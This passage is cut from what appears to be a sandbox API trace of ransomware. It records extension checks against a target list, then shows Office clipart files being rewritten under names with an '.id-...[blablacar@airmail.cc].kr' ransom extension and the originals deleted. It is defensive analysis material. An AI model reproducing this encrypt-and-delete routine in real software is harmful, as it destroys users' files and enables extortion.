Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0204.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0204.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0204.767] lstrlenW (lpString=".doc") returned 4 [0204.767] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.767] lstrlenW (lpString=".docx") returned 5 [0204.767] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0204.767] lstrlenW (lpString=".pdf") returned 4 [0204.767] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.767] lstrlenW (lpString=".xls") returned 4 [0204.767] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.767] lstrlenW (lpString=".xlsx") returned 5 [0204.767] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0204.767] lstrlenW (lpString=".ppt") returned 4 [0204.767] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0204.767] lstrlenW (lpString=".zip") returned 4 [0204.767] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.767] lstrlenW (lpString=".rar") returned 4 [0204.767] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.767] lstrlenW (lpString=".bz2") returned 4 [0204.767] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.767] lstrlenW (lpString=".7z") returned 3 [0204.767] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0204.767] lstrlenW (lpString=".dbf") returned 4 [0204.767] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0204.767] lstrlenW (lpString=".1cd") returned 4 [0204.767] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0204.768] lstrlenW (lpString=".jpg") returned 4 [0204.768] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0204.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0204.768] lstrlenW (lpString=".doc") returned 4 [0204.768] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.768] lstrlenW (lpString=".docx") returned 5 [0204.768] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0204.768] lstrlenW (lpString=".pdf") returned 4 [0204.768] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.768] lstrlenW (lpString=".xls") returned 4 [0204.768] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.768] lstrlenW (lpString=".xlsx") returned 5 [0204.768] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0204.768] lstrlenW (lpString=".ppt") returned 4 [0204.768] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0204.768] lstrlenW (lpString=".zip") returned 4 [0204.768] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.768] lstrlenW (lpString=".rar") returned 4 [0204.768] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.768] lstrlenW (lpString=".bz2") returned 4 [0204.768] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.768] lstrlenW (lpString=".7z") returned 3 [0204.768] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0204.768] lstrlenW (lpString=".dbf") returned 4 [0204.768] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0204.768] lstrlenW (lpString=".1cd") returned 4 [0204.769] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0204.769] lstrlenW (lpString=".jpg") returned 4 [0204.769] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.769] lstrcmpiW (lpString1=".BMP", lpString2=".kr") returned -1 [0204.769] lstrlenW (lpString="J0101861.BMP") returned 12 [0204.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.769] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=32184) returned 1 [0204.769] CloseHandle (hObject=0x38c) returned 1 [0204.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220 [0204.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0204.770] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.770] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0204.771] GetLastError () returned 0x0 [0204.771] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0205.020] WriteFile (in: hFile=0x54c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0205.021] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.021] WriteFile (in: hFile=0x54c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0205.021] SetEndOfFile (hFile=0x54c) returned 1 [0205.021] CloseHandle (hObject=0x54c) returned 1 [0205.022] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.022] SetEndOfFile (hFile=0x38c) returned 1 [0205.195] CloseHandle (hObject=0x38c) returned 1 [0205.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0205.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0205.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0205.196] lstrlenW (lpString=".doc") returned 4 [0205.196] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0205.196] lstrlenW (lpString=".docx") returned 5 [0205.196] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0205.196] lstrlenW (lpString=".pdf") returned 4 [0205.197] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0205.197] lstrlenW (lpString=".xls") returned 4 [0205.197] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0205.197] lstrlenW (lpString=".xlsx") returned 5 [0205.197] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0205.197] lstrlenW (lpString=".ppt") returned 4 [0205.197] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0205.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0205.197] lstrlenW (lpString=".zip") returned 4 [0205.197] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0205.197] lstrlenW (lpString=".rar") returned 4 [0205.197] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0205.197] lstrlenW (lpString=".bz2") returned 4 [0205.197] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0205.197] lstrlenW (lpString=".7z") returned 3 [0205.197] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0205.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0205.197] lstrlenW (lpString=".dbf") returned 4 [0205.197] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0205.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0205.197] lstrlenW (lpString=".1cd") returned 4 [0205.197] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0205.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0205.197] lstrlenW (lpString=".jpg") returned 4 [0205.197] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0205.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0205.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0205.197] lstrlenW (lpString=".doc") returned 4 [0205.197] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0205.197] lstrlenW (lpString=".docx") returned 5 [0205.197] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0205.197] lstrlenW (lpString=".pdf") returned 4 [0205.198] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0205.198] lstrlenW (lpString=".xls") returned 4 [0205.198] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0205.198] lstrlenW (lpString=".xlsx") returned 5 [0205.198] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0205.198] lstrlenW (lpString=".ppt") returned 4 [0205.198] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0205.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0205.198] lstrlenW (lpString=".zip") returned 4 [0205.198] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0205.198] lstrlenW (lpString=".rar") returned 4 [0205.198] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0205.198] lstrlenW (lpString=".bz2") returned 4 [0205.198] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0205.198] lstrlenW (lpString=".7z") returned 3 [0205.198] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0205.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0205.198] lstrlenW (lpString=".dbf") returned 4 [0205.198] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0205.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0205.198] lstrlenW (lpString=".1cd") returned 4 [0205.198] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0205.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0205.198] lstrlenW (lpString=".jpg") returned 4 [0205.198] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0205.198] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.198] lstrlenW (lpString="J0102002.WMF") returned 12 [0205.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0205.203] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=15988) returned 1 [0205.203] CloseHandle (hObject=0x38c) returned 1 [0205.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220 [0205.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0205.203] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.203] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0205.204] GetLastError () returned 0x0 [0205.204] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3e74, lpOverlapped=0x0) returned 1 [0205.206] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0205.207] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.207] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0205.207] SetEndOfFile (hFile=0x4d8) returned 1 [0205.208] CloseHandle (hObject=0x4d8) returned 1 [0205.208] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.208] SetEndOfFile (hFile=0x38c) returned 1 [0205.210] CloseHandle (hObject=0x38c) returned 1 [0205.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0205.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0205.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0205.212] lstrlenW (lpString=".doc") returned 4 [0205.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.212] lstrlenW (lpString=".docx") returned 5 [0205.212] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0205.212] lstrlenW (lpString=".pdf") returned 4 [0205.212] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.212] lstrlenW (lpString=".xls") returned 4 [0205.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.212] lstrlenW (lpString=".xlsx") returned 5 [0205.212] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0205.212] lstrlenW (lpString=".ppt") returned 4 [0205.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0205.212] lstrlenW (lpString=".zip") returned 4 [0205.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.212] lstrlenW (lpString=".rar") returned 4 [0205.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.212] lstrlenW (lpString=".bz2") returned 4 [0205.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.212] lstrlenW (lpString=".7z") returned 3 [0205.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0205.212] lstrlenW (lpString=".dbf") returned 4 [0205.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0205.212] lstrlenW (lpString=".1cd") returned 4 [0205.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0205.212] lstrlenW (lpString=".jpg") returned 4 [0205.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0205.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0205.213] lstrlenW (lpString=".doc") returned 4 [0205.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.213] lstrlenW (lpString=".docx") returned 5 [0205.213] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0205.213] lstrlenW (lpString=".pdf") returned 4 [0205.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0205.213] lstrlenW (lpString=".xls") returned 4 [0205.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0205.213] lstrlenW (lpString=".xlsx") returned 5 [0205.213] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0205.213] lstrlenW (lpString=".ppt") returned 4 [0205.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0205.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0205.213] lstrlenW (lpString=".zip") returned 4 [0205.213] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0205.213] lstrlenW (lpString=".rar") returned 4 [0205.213] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0205.213] lstrlenW (lpString=".bz2") returned 4 [0205.213] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0205.213] lstrlenW (lpString=".7z") returned 3 [0205.213] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0205.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0205.213] lstrlenW (lpString=".dbf") returned 4 [0205.213] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0205.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0205.213] lstrlenW (lpString=".1cd") returned 4 [0205.213] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0205.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0205.213] lstrlenW (lpString=".jpg") returned 4 [0205.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0205.214] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0205.214] lstrlenW (lpString="J0102594.WMF") returned 12 [0205.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0205.214] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=27000) returned 1 [0205.214] CloseHandle (hObject=0x38c) returned 1 [0205.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220 [0205.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0205.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0205.215] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.215] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0205.216] GetLastError () returned 0x0 [0205.216] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x6978, lpOverlapped=0x0) returned 1 [0205.218] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x6980, lpOverlapped=0x0) returned 1 [0205.220] ReadFile (in: hFile=0x38c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.220] WriteFile (in: hFile=0x4d8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0205.220] SetEndOfFile (hFile=0x4d8) returned 1 [0205.220] CloseHandle (hObject=0x4d8) returned 1 [0205.220] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.220] SetEndOfFile (hFile=0x38c) returned 1 [0205.224] CloseHandle (hObject=0x38c) returned 1 [0205.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0205.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0205.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0205.225] lstrlenW (lpString=".doc") returned 4 [0205.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0205.225] lstrlenW (lpString=".docx") returned 5 [0205.225] lstrcmpiW 